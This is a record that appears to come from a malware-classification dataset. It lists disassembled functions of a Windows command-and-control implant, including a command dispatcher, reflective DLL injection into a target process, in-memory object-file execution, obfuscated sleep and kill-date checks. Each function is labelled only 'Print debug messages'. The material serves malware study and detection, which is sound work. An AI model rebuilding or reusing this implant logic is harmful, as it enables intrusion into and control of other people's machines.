joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008f20
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x48
mov edx, 0x34
or rcx, 0xffffffffffffffff
mov r9d, 8
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x38]
mov qword [rsp + 0x38], 7
call sym.SysNtQueryInformationProcess
lea rdx, str.CfgQueryEnforced
test eax, eax
jns 0x140008f73
mov r9d, eax
mov r8d, 0x4dc
lea rcx, str._DEBUG::_s::_d__NtQueryInformationProcess_Failed____p_n
call sym.DbgPrint
xor eax, eax
jmp 0x140008fa0
cmp dword [rsp + 0x3c], 0
lea rax, [0x14002bed7]
lea r9, [0x14002bed2]
mov r8d, 0x4e0
cmove r9, rax
lea rcx, str._DEBUG::_s::_d__Control_Flow_Guard_Policy_Enabled___s_n
call sym.DbgPrint
mov eax, dword [rsp + 0x3c]
add rsp, 0x48
ret

Function at 0x140008ff0
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rdx
push rdi
mov rdi, r9
push rsi
mov rsi, r8
push rbx
mov rbx, rcx
sub rsp, 0x38
mov dword [rsp + 0x2c], 0
call sym.RtMscoree
test eax, eax
je 0x140009110
mov rax, qword [0x14002d650]
mov r8, rbp
lea rdx, [0x140026a20]
lea rcx, [0x1400269f0]
mov rax, qword [rax]
call qword [rax + 0x508]
test eax, eax
jne 0x1400090f2
mov rcx, qword [rbp]
mov r9, rsi
lea r8, [0x140026a30]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x1400090d9
mov rcx, qword [rsi]
lea rdx, [rsp + 0x2c]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
jne 0x1400090c0
cmp dword [rsp + 0x2c], 0
je 0x1400090c0
mov rcx, qword [rsi]
mov r9, rdi
lea r8, [0x140026a40]
lea rdx, [0x140026a00]
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
jne 0x1400090a7
mov rcx, qword [rdi]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov eax, 1
jmp 0x140009132
mov r9, rbx
mov r8d, 0x220
lea rdx, str.ClrCreateInstance
lea rcx, str._DEBUG::_s::_d________GetInterface___Process_refusing_to_get_interface_of__ls_CLR_version.__Try_running_an_assembly_that_requires_a_different_CLR_version._n
jmp 0x140009109
mov r9, rbx
mov r8d, 0x226
lea rdx, str.ClrCreateInstance
lea rcx, str._DEBUG::_s::_d________IsLoadable___Process_refusing_to_load__ls_CLR_version.__Try_running_an_assembly_that_requires_a_different_CLR_version._n
jmp 0x140009109
mov r9, rbx
mov r8d, 0x22c
lea rdx, str.ClrCreateInstance
lea rcx, str._DEBUG::_s::_d________GetRuntime___Process_refusing_to_get_runtime_of__ls_CLR_version.__Try_running_an_assembly_that_requires_a_different_CLR_version._n
jmp 0x140009109
mov r9, rbx
mov r8d, 0x232
lea rdx, str.ClrCreateInstance
lea rcx, str._DEBUG::_s::_d________CLRCreateInstance___Process_refusing_to_create__ls_CLR_version.__Try_running_an_assembly_that_requires_a_different_CLR_version._n
call sym.DbgPrint
jmp 0x140009130
lea r9, str.Failed_to_load_mscoree.dll
mov r8d, 0x238
lea rdx, str.ClrCreateInstance
lea rcx, [0x140028b20]
call sym.printf.constprop.0_3
xor eax, eax
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140009140
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
test rcx, rcx
je 0x14000924a
mov r8, qword [rcx + 0x28]
mov rbx, rcx
test r8, r8
je 0x14000924a
mov dword [rsp + 0x20], 4
mov r9, qword [rcx + 0x30]
or rdx, 0xffffffffffffffff
mov ecx, 2
call sym.MmVirtualProtect
test eax, eax
je 0x14000919c
mov rdi, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx + 0x28]
or rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x30]
mov r9d, 0x8000
lea r8, [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x38], rax
call sym.SysNtFreeVirtualMemory
mov ecx, eax
test eax, eax
jns 0x140009215
mov rdi, qword [0x14002d650]
mov rax, qword [rdi]
mov rsi, qword [rax + 0x8c2]
call qword [rax + 0x160]
mov r8d, 0x19b
lea rdx, str.CoffeeCleanup
lea rcx, str._DEBUG::_s::_d______Failed_to_free_memory:__p_:__lu_n
mov dword [rsi + 0x68], eax
mov rax, qword [rdi]
mov rax, qword [rax + 0x8c2]
mov eax, dword [rax + 0x68]
mov dword [rsp + 0x20], eax
mov r9, qword [rbx + 0x28]
call sym.DbgPrint
mov rdi, qword [rbx + 0x3c]
test rdi, rdi
je 0x14000924a
mov rax, qword [rbx + 8]
movzx ecx, word [rax + 2]
xor eax, eax
shl rcx, 4
rep stosb byte [rdi], al
mov rax, qword [0x14002d650]
mov rcx, qword [rbx + 0x3c]
mov rax, qword [rax]
call qword [rax + 0x3b0]
mov qword [rbx + 0x3c], 0
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
Function at 0x140009d10
Capabilities:
Print debug messages

Disassembly:
push r15
xor eax, eax
push r14
push r13
mov r13d, r8d
xor r8d, r8d
push r12
mov r12, rdx
mov edx, 0xc
push rbp
mov rbp, rcx
mov ecx, 0xfc
push rdi
push rsi
mov rsi, r12
push rbx
mov rbx, r9
sub rsp, 0x848
mov qword [rsp + 0x40], 0
lea rdi, [rsp + 0x50]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x450]
mov ecx, 0xfc
mov qword [rsp + 0x48], 0
rep stosd dword [rdi], eax
mov rcx, r12
mov qword [rsp + 0x440], 0
mov qword [rsp + 0x448], 0
call sym.HashEx
mov qword [rbx], 0
mov rcx, r12
mov qword [rsp + 0x30], 0
mov r14d, eax
mov qword [rsp + 0x38], 0
call sym.StringLengthA
lea rdx, [rsp + 0x40]
lea rcx, [rax + 1]
mov rdi, rdx
rep movsb byte [rdi], byte [rsi]
cmp r14d, 0xd0a409b0
jne 0x140009df9
lea r13, [r12 + 6]
xor edi, edi
mov esi, edi
shl rsi, 4
add rsi, qword [0x14002d640]
cmp qword [rsi], 0
je 0x140009f7d
mov rcx, r13
call sym.HashStringA
mov eax, eax
cmp rax, qword [rsi]
je 0x140009f15
inc edi
jmp 0x140009dcb
mov rcx, r12
call sym.SymbolIsImport
test eax, eax
je 0x140009e56
mov rcx, r12
call sym.SymbolIncludesLibrary
test eax, eax
jne 0x140009e56
lea r13, [rsp + 0x440]
lea rdx, [r12 + 6]
xor edi, edi
mov rcx, r13
call sym.StringCopyA
mov esi, edi
shl rsi, 4
add rsi, qword [0x14002d660]
cmp qword [rsi], 0
je 0x140009f7d
mov rcx, r13
call sym.HashStringA
mov eax, eax
cmp rax, qword [rsi]
je 0x140009f15
inc edi
jmp 0x140009e28
mov rcx, r12
call sym.SymbolIsImport
test eax, eax
je 0x140009f56
lea rdx, [0x140027033]
lea rcx, [rsp + 0x46]
call sym.StringTokenA
mov rsi, rax
mov rcx, rax
call sym.StringLengthA
mov rcx, rsi
lea r15, [rsi + rax + 1]
call sym.LdrModuleLoad
mov r14, qword [0x14002d650]
test rax, rax
mov r13, rax
jne 0x140009ed0
mov rax, qword [r14]
mov r9, rsi
mov r8d, 0xaa
lea rdx, str.CoffeeProcessSymbol
lea rcx, str._DEBUG::_s::_d__Failed_to_load_library:_Lib:__s__Err:__d__n
mov rax, qword [rax + 0x8c2]
mov eax, dword [rax + 0x68]
mov dword [rsp + 0x20], eax
call sym.DbgPrint
jmp 0x140009f7d
lea rdi, [rsp + 0x440]
mov rdx, r15
mov rcx, rdi
call sym.StringCopyA
mov rax, qword [r14]
cmp qword [rax + 0x84a], r13
jne 0x140009f20
xor r15d, r15d
mov esi, r15d
shl rsi, 4
add rsi, qword [0x14002d670]
cmp qword [rsi], 0
je 0x140009f20
mov rcx, rdi
call sym.HashStringA
mov eax, eax
cmp rax, qword [rsi]
jne 0x140009f1b
mov rax, qword [rsi + 8]
jmp 0x140009f6c
inc r15d
jmp 0x140009ef2
mov rcx, rdi
call sym.StringLengthA
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov r9, rbx
mov word [rsp + 0x30], ax
inc eax
lea rdx, [rsp + 0x30]
mov rcx, r13
mov word [rsp + 0x32], ax
mov rax, qword [r14]
call qword [rax + 0x138]
test eax, eax
jns 0x140009f6f
jmp 0x140009f7d
mov rcx, r12
call sym.HashStringA
cmp eax, 0xbfded9c9
jne 0x140009f76
mov rax, qword [0x14002d650]
mov qword [rbx], rax
mov eax, 1
jmp 0x140009faf
cmp r13w, 0x20
jne 0x140009f6f
mov edx, dword [rbp + 0x38]
mov ecx, 0x14
call sym.PackageCreateWithRequestID
mov edx, 2
mov r13, rax
mov rcx, rax
call sym.PackageAddInt32
mov rdx, r12
mov rcx, r13
call sym.PackageAddString
mov rcx, r13
call sym.PackageTransmit
xor eax, eax
add rsp, 0x848
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140009fd0
Capabilities:
Print debug messages

Disassembly:
push r15
push r14
mov r14d, edx
mov edx, 0x38
push r13
push r12
mov r12, r9
push rbp
push rdi
push rsi
mov rsi, rcx
mov ecx, 0x40
push rbx
sub rsp, 0x48
mov rbp, qword [0x14002d650]
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x30], r8
mov r13, qword [rsp + 0xb8]
mov r15d, dword [rsp + 0xc0]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp]
call qword [rax + 0x3a8]
mov rdx, r14
mov ecx, 0x40
mov rbx, rax
mov rax, qword [rbp]
call qword [rax + 0x3a8]
mov rdx, r12
mov ecx, 0x40
mov qword [rbx], rax
mov rax, qword [rbp]
call qword [rax + 0x3a8]
mov rdx, r13
mov ecx, 0x40
mov qword [rbx + 0x10], rax
mov rax, qword [rbp]
call qword [rax + 0x3a8]
mov dword [rbx + 8], r14d
mov rdi, qword [rbx]
mov rcx, r14
mov qword [rbx + 0x20], rax
or rdx, 0xffffffffffffffff
mov r8d, 1
lea r9, [sym.CoffeeRunnerThread]
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x28], r13
mov dword [rbx + 0x30], r15d
rep movsb byte [rdi], byte [rsi]
mov rsi, qword [rsp + 0x30]
mov rcx, r12
mov rdi, qword [rbx + 0x10]
rep movsb byte [rdi], byte [rsi]
mov rsi, qword [rsp + 0x38]
mov rcx, r13
mov rdi, qword [rbx + 0x20]
rep movsb byte [rdi], byte [rsi]
mov ecx, 2
mov rax, qword [rbp]
inc dword [rax + 0x8ca]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
call sym.ThreadCreate
test rax, rax
jne 0x14000a126
mov rax, qword [rbp]
lea rdx, str.CoffeeRunner
lea rcx, str._DEBUG::_s::_d__Failed_to_create_new_CoffeeRunnerThread_thread:__d
mov r8d, 0x352
mov rax, qword [rax + 0x8c2]
mov r9d, dword [rax + 0x68]
call sym.DbgPrint
mov rax, qword [rbp]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.PackageTransmitError
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000a550
Capabilities:
Print debug messages

Disassembly:
push r15
mov ecx, 0x2003
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
call sym.PackageCreate
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov r14, rax
call sym.RtMscoree
test eax, eax
je 0x14000a6e9
mov rbx, qword [0x14002d650]
mov rdx, qword [0x14002d890]
lea r8, [rsp + 0x38]
mov rcx, qword [0x14002d880]
mov rax, qword [rbx]
call qword [rax + 0x508]
test eax, eax
jne 0x14000a6da
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x28]
test eax, eax
jne 0x14000a6cb
mov dword [rsp + 0x30], 0
xor r12d, r12d
lea rsi, str.CommandAssemblyListVersion
lea rdi, [0x140027618]
lea rbp, str._DEBUG::_s::_d__Version___d__:__ls_n
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x34]
lea r8, [rsp + 0x48]
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x34], 0
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x14000a70c
mov r12, qword [rsp + 0x48]
lea r15, [rsp + 0x30]
xor edx, edx
mov r8, r15
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x18]
cmp eax, 0x8007007a
jne 0x14000a6ae
mov edx, dword [rsp + 0x30]
test edx, edx
je 0x14000a6ae
mov rax, qword [rbx]
mov ecx, 0x40
call qword [rax + 0x3a8]
mov r8, r15
mov rcx, r12
mov r13, rax
mov rax, qword [r12]
mov rdx, r13
call qword [rax + 0x18]
test eax, eax
jne 0x14000a695
mov qword [rsp + 0x20], r13
mov r9d, dword [rsp + 0x30]
mov rdx, rsi
mov rcx, rbp
mov r8d, 0x71c
call sym.DbgPrint
mov rdx, r13
mov rcx, r14
call sym.PackageAddWString
mov rax, qword [rbx]
mov rcx, r13
call qword [rax + 0x3b0]
mov dword [rsp + 0x30], 0
jmp 0x14000a5ef
lea r9, str.Failed_get_Version_String
mov r8d, 0x725
mov rdx, rsi
mov rcx, rdi
call sym.printf.constprop.0_5
jmp 0x14000a5ef
lea r9, str.Failed_to_enumerate
mov r8d, 0x72b
jmp 0x14000a6f6
lea r9, str.Failed_to_CLRCreateInstance
mov r8d, 0x72e
jmp 0x14000a6f6
lea r9, [0x140027b10]
mov r8d, 0x731
lea rdx, str.CommandAssemblyListVersion
lea rcx, [0x140027618]
xor r12d, r12d
call sym.printf.constprop.0_5
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000a725
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000a73e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x40], 0
test r12, r12
je 0x14000a74d
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rcx, r14
call sym.PackageTransmit
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000ae10
Capabilities:
Print debug messages

Disassembly:
push r15
xor eax, eax
mov ecx, 8
mov r8d, 0x3b
push r14
lea r15, str._DEBUG::_s::_d__Task___RequestID:__d_:__x__CommandID:__d_:__x__TaskBuffer:__x_:__d__n
push r13
push r12
lea r12, str.CommandDispatcher
push rbp
mov rdx, r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov rbx, qword [0x14002d650]
lea rdi, [rsp + 0x80]
mov dword [rsp + 0x6c], 0
lea rbp, [rsp + 0x80]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xa0]
mov ecx, 8
mov qword [rsp + 0x70], 0
rep stosd dword [rdi], eax
mov rax, qword [rbx]
lea r14, [rsp + 0x78]
lea rcx, str._DEBUG::_s::_d__Session_ID____x_n
mov qword [rsp + 0x78], 0
lea r13, [rsp + 0xa0]
mov r9d, dword [rax + 0x44]
call sym.DbgPrint
mov rax, qword [rbx]
cmp dword [rax + 0x48], 0
je 0x14000b04d
call sym.SleepObf
call sym.ReachedKillDate
test eax, eax
je 0x14000aec3
call sym.KillDate
call sym.InWorkingHours
test eax, eax
je 0x14000aea3
lea rcx, [rsp + 0x70]
mov rdx, r14
call sym.PackageTransmitAll
test eax, eax
jne 0x14000aeed
call sym.HostCheckup
test eax, eax
jne 0x14000aeed
xor ecx, ecx
call sym.CommandExit
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x14000b031
mov r8, qword [rsp + 0x78]
test r8, r8
je 0x14000b031
mov rcx, rbp
lea rdi, [rsp + 0x6c]
call sym.ParserNew
mov rcx, rbp
call sym.ParserGetInt32
mov rcx, rbp
mov esi, eax
call sym.ParserGetInt32
mov rdx, rdi
mov rcx, rbp
mov dword [rsp + 0x58], eax
call sym.ParserGetBytes
mov r9d, dword [rsp + 0x58]
mov r10, rax
mov rax, qword [rbx]
mov dword [rax + 8], r9d
cmp esi, 0xa
je 0x14000afd0
mov eax, dword [rsp + 0x6c]
mov qword [rsp + 0x38], r10
mov rdx, r12
mov rcx, r15
mov dword [rsp + 0x30], esi
mov r8d, 0x6b
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x58], r10
call sym.DbgPrint
mov r8d, dword [rsp + 0x6c]
mov r10, qword [rsp + 0x58]
test r8d, r8d
je 0x14000afb2
mov rdx, r10
mov rcx, r13
call sym.ParserNew
mov rax, qword [rbx]
mov rcx, r13
mov rdx, qword [rax + 0x120]
mov r8, qword [rax + 0x128]
call sym.ParserDecrypt
lea rax, [0x140026020]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14000afd0
add rax, 0x10
cmp esi, dword [rax - 0x10]
jne 0x14000afb9
mov rcx, r13
call rdx
cmp dword [rsp + 0x94], 0xc
ja 0x14000af16
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, qword [rsp + 0x70]
call qword [rax + 0x3b0]
mov rcx, rbp
mov qword [rsp + 0x70], 0
call sym.ParserDestroy
mov rcx, r13
call sym.ParserDestroy
call sym.JobCheckList
call sym.PivotPush
call sym.DownloadPush
call sym.DotnetPush
call sym.SocketPush
jmp 0x14000aea3
lea r9, str.TransportSend:_Failed
mov r8d, 0x88
mov rdx, r12
lea rcx, [0x140027618]
call sym.printf.constprop.0_5
mov rax, qword [rbx]
mov rdx, r12
lea r9, str.Out_of_while_loop
mov r8d, 0xa0
lea rcx, [0x140027618]
mov dword [rax + 0x48], 0
call sym.printf.constprop.0_5
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000bf80
Capabilities:
Print debug messages

Disassembly:
push r15
push r14
push r13
push r12
mov r12, rcx
mov ecx, 0x16
push rdi
push rbx
sub rsp, 0x88
call sym.PackageCreate
lea rdi, [rsp + 0x50]
mov ecx, 0xc
mov dword [rsp + 0x48], 0
mov r15, rax
xor eax, eax
mov dword [rsp + 0x4c], 0
rep stosd dword [rdi], eax
mov rcx, r12
call sym.ParserGetInt32
mov rcx, r12
mov word [rsp + 0x7e], ax
call sym.ParserGetInt32
mov rcx, r12
lea rdx, [rsp + 0x4c]
mov dword [rsp + 0x5c], eax
call sym.ParserGetBytes
mov rcx, r12
lea rdx, [rsp + 0x48]
mov rbx, rax
call sym.ParserGetBytes
mov rcx, r12
lea rdx, [rsp + 0x7a]
lea r12, str.CommandInjectDLL
mov r13, rax
call sym.ParserGetBytes
lea r9, [0x1400280b7]
mov rdx, r12
mov r8d, 0x4c7
lea rcx, [0x140027618]
mov qword [rsp + 0x72], rax
call sym.printf.constprop.0_5
movsx r9d, word [rsp + 0x7e]
mov rdx, r12
mov r8d, 0x4c8
lea rcx, str._DEBUG::_s::_d__Technique:__d_n
call sym.DbgPrint
mov r9d, dword [rsp + 0x5c]
mov rdx, r12
mov r8d, 0x4c9
lea rcx, str._DEBUG::_s::_d__ProcessID:__d_n
call sym.DbgPrint
mov eax, dword [rsp + 0x48]
mov r9, r13
mov rdx, r12
mov r8d, 0x4ca
lea rcx, str._DEBUG::_s::_d__DllBytes_:__x___d__n
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov eax, dword [rsp + 0x7a]
mov rdx, r12
mov r9, qword [rsp + 0x72]
lea rcx, str._DEBUG::_s::_d__Parameter:__x___d__n
mov r8d, 0x4cb
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov ecx, dword [rsp + 0x5c]
mov edx, 0x42a
call sym.ProcessOpen
test rax, rax
je 0x14000c0ff
mov r14, rax
mov eax, dword [rsp + 0x7a]
lea rdi, [rsp + 0x50]
mov r9, r13
mov qword [rsp + 0x38], rdi
mov r8d, dword [rsp + 0x4c]
mov rcx, r14
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x72]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
call sym.DllInjectReflective
mov rcx, r14
mov r13d, eax
call sym.SysNtClose
jmp 0x14000c123
mov rax, qword [0x14002d650]
mov ecx, 1
mov r13d, 1
mov rax, qword [rax]
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
mov r9d, r13d
mov r8d, 0x4d9
mov rdx, r12
lea rcx, str._DEBUG::_s::_d__Injected_Result:__d_n
call sym.DbgPrint
mov edx, r13d
mov rcx, r15
call sym.PackageAddInt32
mov rcx, r15
call sym.PackageTransmit
add rsp, 0x88
pop rbx
pop rdi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000c4b0
Capabilities:
Print debug messages

Disassembly:
push r15
mov r15, rcx
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rax, qword [0x14002d650]
lea rdx, [rsp + 0x5c]
mov dword [rsp + 0x5c], 0
mov rax, qword [rax]
mov edi, dword [rax + 8]
call sym.ParserGetString
mov rcx, r15
mov r14, rax
call sym.ParserGetInt32
mov rcx, r15
mov r13d, eax
call sym.ParserGetInt32
mov rcx, r15
mov r12d, eax
call sym.ParserGetInt32
mov ecx, r13d
mov ebp, eax
call sym.GetMemFile
lea rdx, str.CommandInlineExecute
test rax, rax
je 0x14000c554
cmp dword [rax + 0x20], 0
je 0x14000c542
mov r15, qword [rax + 0x18]
mov rax, qword [rax + 8]
mov ecx, r12d
mov qword [rsp + 0x48], rax
call sym.GetMemFile
lea rdx, str.CommandInlineExecute
test rax, rax
jne 0x14000c56e
jmp 0x14000c5ab
mov r9d, r13d
mov r8d, 0x471
lea rcx, str._DEBUG::_s::_d__BofMemFile___x__was_not_completed_n
jmp 0x14000c564
mov r9d, r13d
mov r8d, 0x476
lea rcx, str._DEBUG::_s::_d__BofMemFile___x__not_found_n
call sym.DbgPrint
jmp 0x14000c65c
cmp dword [rax + 0x20], 0
je 0x14000c599
test ebp, ebp
mov rbx, qword [rax + 0x18]
mov esi, dword [rax + 8]
lea rcx, [0x140027618]
je 0x14000c5bd
dec ebp
jne 0x14000c5cc
lea r9, str.Use_Threaded_CoffeeRunner
mov r8d, 0x496
jmp 0x14000c60c
mov r9d, r12d
mov r8d, 0x482
lea rcx, str._DEBUG::_s::_d__ParamsMemFile___x__was_not_completed_n
jmp 0x14000c564
mov r9d, r12d
mov r8d, 0x487
lea rcx, str._DEBUG::_s::_d__ParamsMemFile___x__not_found_n
jmp 0x14000c564
lea r9, str.Use_Non_Threaded_CoffeeLdr
mov r8d, 0x48f
jmp 0x14000c642
lea r9, str.Use_default__from_config__CoffeeLdr
mov r8d, 0x49d
call sym.printf.constprop.0_5
mov rax, qword [0x14002d650]
lea rcx, [0x140027618]
lea rdx, str.CommandInlineExecute
mov rax, qword [rax]
cmp dword [rax + 0xf0], 0
je 0x14000c635
lea r9, str.Config_is_set_to_threaded
mov r8d, 0x4a1
call sym.printf.constprop.0_5
mov dword [rsp + 0x30], edi
mov edx, dword [rsp + 0x5c]
mov r8, r15
mov qword [rsp + 0x28], rsi
mov r9d, dword [rsp + 0x48]
mov rcx, r14
mov qword [rsp + 0x20], rbx
call sym.CoffeeRunner
jmp 0x14000c65c
lea r9, str.Config_is_set_to_non_threaded
mov r8d, 0x4a6
call sym.printf.constprop.0_5
mov dword [rsp + 0x20], edi
mov r9, rsi
mov r8, rbx
mov rdx, r15
mov rcx, r14
call sym.CoffeeLdr
mov ecx, r13d
call sym.RemoveMemFile
mov ecx, r12d
call sym.RemoveMemFile
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000c680
Capabilities:
Print debug messages

Disassembly:
push r15
lea r15, [0x140027618]
lea r9, [0x14002895b]
mov r8d, 0xbe
push r14
mov r14, rcx
mov rcx, r15
push r13
lea r13, str.CommandJob
push r12
mov rdx, r13
push rbx
sub rsp, 0x30
call sym.printf.constprop.0_5
mov ecx, 0x15
call sym.PackageCreate
mov rcx, r14
mov r12, rax
call sym.ParserGetInt32
mov rcx, r12
mov ebx, eax
mov edx, eax
call sym.PackageAddInt32
cmp ebx, 3
je 0x14000c80f
jg 0x14000c750
cmp ebx, 1
je 0x14000c788
cmp ebx, 2
jne 0x14000c852
lea r9, str.Job::suspend
mov r8d, 0xdf
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
mov rcx, r14
call sym.ParserGetInt32
mov ecx, eax
mov r14d, eax
call sym.JobSuspend
mov r9d, r14d
mov rdx, r13
mov r8d, 0xe3
mov dword [rsp + 0x20], eax
lea rcx, str._DEBUG::_s::_d__JobID:__d__Success:__d_
mov r15d, eax
call sym.DbgPrint
mov edx, r14d
mov rcx, r12
call sym.PackageAddInt32
mov edx, r15d
jmp 0x14000c84a
cmp ebx, 4
jne 0x14000c852
mov rdx, r13
lea r9, str.Job::kill
mov r8d, 0xf9
mov rcx, r15
call sym.printf.constprop.0_5
mov rcx, r14
call sym.ParserGetInt32
mov ecx, eax
mov r13d, eax
call sym.JobKill
jmp 0x14000c839
lea r9, str.Job::list
mov r8d, 0xc8
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
mov rax, qword [0x14002d650]
lea r14, str._DEBUG::_s::_d__Job___JobID:__d__Type:__d__State:__d__n
mov rax, qword [rax]
mov rbx, qword [rax + 0x90a]
test rbx, rbx
je 0x14000c852
movsx eax, word [rbx + 0xa]
mov r9d, dword [rbx + 4]
mov rdx, r13
mov rcx, r14
mov r8d, 0xce
mov dword [rsp + 0x28], eax
movsx eax, word [rbx + 8]
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov edx, dword [rbx + 4]
mov rcx, r12
call sym.PackageAddInt32
movsx edx, word [rbx + 8]
mov rcx, r12
call sym.PackageAddInt32
movsx edx, word [rbx + 0xa]
mov rcx, r12
call sym.PackageAddInt32
mov rbx, qword [rbx + 0x20]
jmp 0x14000c7b8
mov rdx, r13
lea r9, str.Job::resume
mov r8d, 0xed
mov rcx, r15
call sym.printf.constprop.0_5
mov rcx, r14
call sym.ParserGetInt32
mov ecx, eax
mov r13d, eax
call sym.JobResume
mov r14d, eax
mov edx, r13d
mov rcx, r12
call sym.PackageAddInt32
mov edx, r14d
mov rcx, r12
call sym.PackageAddInt32
add rsp, 0x30
mov rcx, r12
pop rbx
pop r12
pop r13
pop r14
pop r15
jmp sym.PackageTransmit
Function at 0x14000e870
Capabilities:
Print debug messages

Disassembly:
push r13
mov r13, rcx
mov ecx, 0xb
push r12
push rbx
sub rsp, 0x20
call sym.PackageCreate
mov rcx, r13
mov r12, rax
call sym.ParserGetInt32
mov rbx, qword [0x14002d650]
mov rcx, r13
lea r13, str.CommandSleep
mov rdx, qword [rbx]
mov dword [rdx + 0x60], eax
call sym.ParserGetInt32
mov rdx, qword [rbx]
mov r8d, 0xb4
lea rcx, str._DEBUG::_s::_d__Instance__Sleeping:___d__n
mov dword [rdx + 0x64], eax
mov r9d, dword [rdx + 0x60]
mov rdx, r13
call sym.DbgPrint
mov rax, qword [rbx]
mov rdx, r13
mov r8d, 0xb5
lea rcx, str._DEBUG::_s::_d__Instance__Jitter__:___d__n
mov r9d, dword [rax + 0x64]
call sym.DbgPrint
mov rax, qword [rbx]
mov rcx, r12
mov edx, dword [rax + 0x60]
call sym.PackageAddInt32
mov rax, qword [rbx]
mov rcx, r12
mov edx, dword [rax + 0x64]
call sym.PackageAddInt32
add rsp, 0x20
mov rcx, r12
pop rbx
pop r12
pop r13
jmp sym.PackageTransmit